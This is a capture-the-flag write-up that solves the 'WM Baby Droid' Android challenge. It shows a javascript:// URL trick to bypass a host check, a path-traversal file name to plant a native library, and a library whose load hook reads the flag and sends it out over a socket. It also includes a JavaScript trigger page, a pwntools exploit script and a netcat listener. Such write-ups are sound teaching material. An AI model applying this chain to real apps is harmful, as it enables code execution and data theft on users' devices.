WM Baby Droid
Solves: 1
Points: 500
Description:
nc 43.248.96.7 10086Attachment:
download
d9c14779206634d37e7f0e43d5c9537aAuthor: bubble#2768
TLDR
- Bypass domain google.com verification with javascript:// to redirect to the evil website.
- App trusts download_name so we can use path transversal to save the downloaded library into internal storage.
- Write a native library that will read the flag from the file system and send it through a socket.
- Write the necessary javascript to trigger the javascriptinterface and execute our malicious library.
Introduction
After downloading the attachment we have the following files:1
2
3
4
5
6
7
8
9
10
11
12
13$ unzip -l WM_Baby_Droid.zip
Archive: WM_Baby_Droid.zip
Length Date Time Name
--------- ---------- ----- ----
1978 2022-05-19 10:20 attachment/Dockerfile
3897305 2022-08-19 10:44 attachment/app-debug.apk
11 2022-08-19 11:36 attachment/flag
2333 2022-08-19 10:26 attachment/readme.md
1022 2022-08-19 10:30 attachment/run.sh
7848 2022-08-19 10:40 attachment/server.py
232 2022-04-19 18:58 attachment/server.sh
--------- -------
3910729 7 files
Lets start by analysing the server.py
.
The server will request a poc url from the begining to be sent to the app through an intent:1
2
3
4
5
6
7print_to_user("Please enter your poc url:")
url = sys.stdin.readline().strip()
# url should be like "http://xxx" to to ensure that `adb shell` passes intent.data correctly.
if url.strip('"') == url:
url = f'"{url}"'
...
adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)
More useful information is given to us when a new emulator with android API_30
and x86_64
architecture is created:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42def setup_emulator():
subprocess.call(
"avdmanager" +
" create avd" +
" --name 'pixel_xl_api_30'" +
" --abi 'google_apis/x86_64'" +
" --package 'system-images;android-30;google_apis;x86_64'" +
" --device pixel_xl" +
" --force" +
("" if isMacos else " > /dev/null 2> /dev/null"),
env=ENV,
close_fds=True,
shell=True)
return subprocess.Popen(
"emulator" +
" -avd pixel_xl_api_30" +
" -no-cache" +
" -no-snapstorage" +
" -no-snapshot-save" +
" -no-snapshot-load" +
" -no-audio" +
" -no-window" +
" -no-snapshot" +
" -no-boot-anim" +
" -wipe-data" +
" -accel on" +
" -netdelay none" +
" -no-sim" +
" -netspeed full" +
" -delay-adb" +
" -port {}".format(EMULATOR_PORT) +
("" if isMacos else " > /dev/null 2> /dev/null ") +
"",
env=ENV,
close_fds=True,
shell=True,
preexec_fn=os.setsid)
...
print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")
emulator = setup_emulator()
adb(["wait-for-device"])
We also know from the file that the flag is being broadcasted here:
1 | with open(FLAG_FILE, "r") as f: |
Static Analysis
The apk doesn’t have a lot of obfuscation (this was expected since the category of the challenge is pwn and not a reverse).
We used jadx to analyse the app so lets see what we have in the AndroidManifest.xml.
The application only has the INTERNET permission to connect to the internet, a receiver and the main activity:1
2
3
4
5
6<uses-permission android:name="android.permission.INTERNET"/>
...
<activity android:name="com.wmctf.wmbabydroid.MainActivity" android:exported="true">
...
<receiver android:name="com.wmctf.wmbabydroid.FlagReceiver" android:exported="false">
...
The launcher activity:
The receiver:
We don’t have to worry to generate a broadcast since the server will generate one for us (we saw this in the introduction section).
Bypass getHost
Since there is a verification to allow google.com urls to be loaded:
1 | if (!uri.getHost().endsWith(".google.com")) { |
Me and my friend had this great idea of actually hosting our website in sites.google.com, we did implement this and the poc was working locally unfortunately everything into to the garbage when the organizers told us that China banned google so the servers wouldn’t be able to connect to google domains.
Hearing this we finally realized this was probably a url parsing challenge and we tried multiple tricks like the ones mentioned in the orange blackhat presentation without any success.
We eventually found this CVE about a vulnerability in getHost but it looks it only works on older API versions, more recent ones are already patched (We also know from the emulator configuration that the android API version is 30 so this wouldn’t work).
We tried to analyse Android API 30 code trying to find a flaw in the code and also checking the URL RFC and try new things but without any success.
We also thought of using an redirect to bypass the check but since the server is hosted in china and google.com is banned we forgot about this for a while.
Another idea showed up on trying to use file:// to access the internal files of the emulator and read the flag, unfortunately to use this requires a special permission in the webview so we discarded this option.
Eventually the organizers published an announcement for this challenge giving the tip to use javascript://.
In the end it was kind of “simple” but we didn’t remember of trying javascript:// which makes sense and it eventually doesn’t even need to request the google domain which is perfect.
The hint given was:
Baby Droid Hint: JavaScript://www.google.com/%0d%0awindow.location.href='http://evil.com/'
Drop the file into the internal storage file directory
The downloaded file is being saved in the external storage cache directory:
1 | String destPath = new File(MainActivity.this.getExternalCacheDir(), fileName).getPath(); |
Because of this we need to find a way to move it to the files directory (shared library will be loaded from that dir):
1 | File so = new File(getFilesDir() + "/lmao.so"); |
Since the server trusts the download_name
from the header Content-Disposition
we can use Path Transversal to save the file to the folder we want.
The file is saved in /storage/emulated/0/Android/data/com.wmctf.wmbabydroid/cache
and we want to move it to /data/data/com.wmctf.wmbabydroid/files/lmao.so
.
To achieve this we used the following download_name
-> ../../../../../../../data/data/com.wmctf.wmbabydroid/files/lmao.so
.
We used flask to implement the server in the backend:
1 | from flask import Flask, send_file, make_response,render_template |
Implement the shared library
We will have the opportunity to run a malicious library in the victim’s device so we need to write a code that will read the flag from the file system and send the flag to through a HTTP request or a socket using tcp.
Usually an android application has native methods that will be called from the native lib like in this example:
1 | public native String getSystemTime(); |
In this case we don’t have any, but looking at the documentation it seems when system.load is executed a function named JNI_OnLoad will be executed:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15/**
* Loads the native library specified by the <code>libname</code>
* argument. The <code>libname</code> argument must not contain any platform
* specific prefix, file extension or path. If a native library
* called <code>libname</code> is statically linked with the VM, then the
* JNI_OnLoad_<code>libname</code> function exported by the library is invoked.
* See the JNI Specification for more details.
*
* Otherwise, the libname argument is loaded from a system library
* location and mapped to a native library image in an implementation-
* dependent manner.
**/
public static void loadLibrary(String libname) {
Runtime.getRuntime().loadLibrary0(VMStack.getCallingClassLoader(), libname);
}
The following picture illustrates this well:
I’m not an android developer myself but since I’ve reversed a bunch of malware in my work using rust native libraries I decided to implement one in rust, since I already had some experience doing it and I thought it wouldn’t be a problem doing it here as well.
Unfortunately this ended up being an bad idea since rust libraries are usually bigger than the normal ones and this messed up our final payload (size was about 11mb but it was enough to disturb the poc in the server).
For the lulz we will share the rust library we implemented:
1 | use std::os::raw::{c_char}; |
Rust lib was working locally but not in the challenge server so much later we decided to re-implement using “normal” native libraries (file size was reduced to 800kb):
1 |
|
We also added this infinite loop to check if the flag file already exists (If the payload is too fast the flag might not be in the directory):1
2
3
4
5
6
7while(true){
if (is_file_exist("/data/data/com.wmctf.wmbabydroid/files/flag")) {
break;
}
send(sockfd, "File doesn't exist yet\n", strlen("File doesn't exist yet\n"), 0);
sleep(1);
}
One line command to extract the lib from the built apk:1
unzip -p ~/AndroidStudioProjects/<project-name>/app/build/outputs/apk/debug/app-debug.apk lib/x86_64/libwmbabydroid.so > libcargo.so
We followed the google documentation on how to implement native libraries in android.
Trigger the @JavascriptInterface code
Javascript Interfaces allows exposing methods to JavaScript:
1 | webView.addJavascriptInterface(this, "lmao"); |
The @JavascriptInterface notation will allow us to execute java code function from javascript for example to execute the code above we can use:
1 | function javaInterface() { |
To trigger the download and the JavascriptInterface we created the following html file:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<html>
<body onload="getAll()">
<!--<iframe src="/download"></iframe>-->
<a href="/download" id="test">qweqwe</a>
</body>
<script>
function getAll() {
lmao.lmao();
setTimeout(download, 3000);
setTimeout(timeoutFunc, 15000);
}
function download() {
document.getElementById("test").click();
}
function timeoutFunc() {
lmao.lmao();
}
</script>
</html>
Note that running lmao.lmao() first is very important since the files directory is not created when the apk is installed.
The method getFilesDir() will create the directory for us:
1 | File so = new File(getFilesDir() + "/lmao.so"); |
Final script
Using pwntools to send the link to the app in the server1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41from pwn import *
import re
import hashlib
import string
import traceback
def main():
r = remote('localhost', 10086) if not args.REMOTE else remote(
'43.248.96.7', 10086)
a = r.recvuntil(b"Please enter the xxxx to satisfy the above equation:\n")
begin, end, hash_digest = re.findall(
r'(?<=")[a-zA-Z0-9]+?(?=")', a.decode())
for a in string.ascii_letters:
for b in string.ascii_letters:
for c in string.ascii_letters:
for d in string.ascii_letters:
test_hash = hashlib.sha256(
(begin+a+b+c+d).encode()).hexdigest()
if test_hash == hash_digest:
print(a+b+c+d)
r.sendline((a+b+c+d).encode())
r.recvuntil(b'Please enter your poc url:\n')
r.sendline(
"JavaScript://www.google.com/%0d%0awindow.location.href='{}'".format(args.HOST).encode())
print(r.recvuntil(b'exiting......\n', timeout=60*5))
r.close()
return
if args.LOOP:
while True:
try:
main()
except KeyboardInterrupt:
break
except:
traceback.print_exc()
continue
else:
main()
Running it:
1 | $ python wm_baby_droid.py REMOTE LOOP HOST=https://wmctf2022.herokuapp.com |
Receiving the flag on our listening service:
1 | $ nc -l -k 5000 |
The flag was WMCTF{e0230a12-fa8d-443a-959a-bb61d24e5132}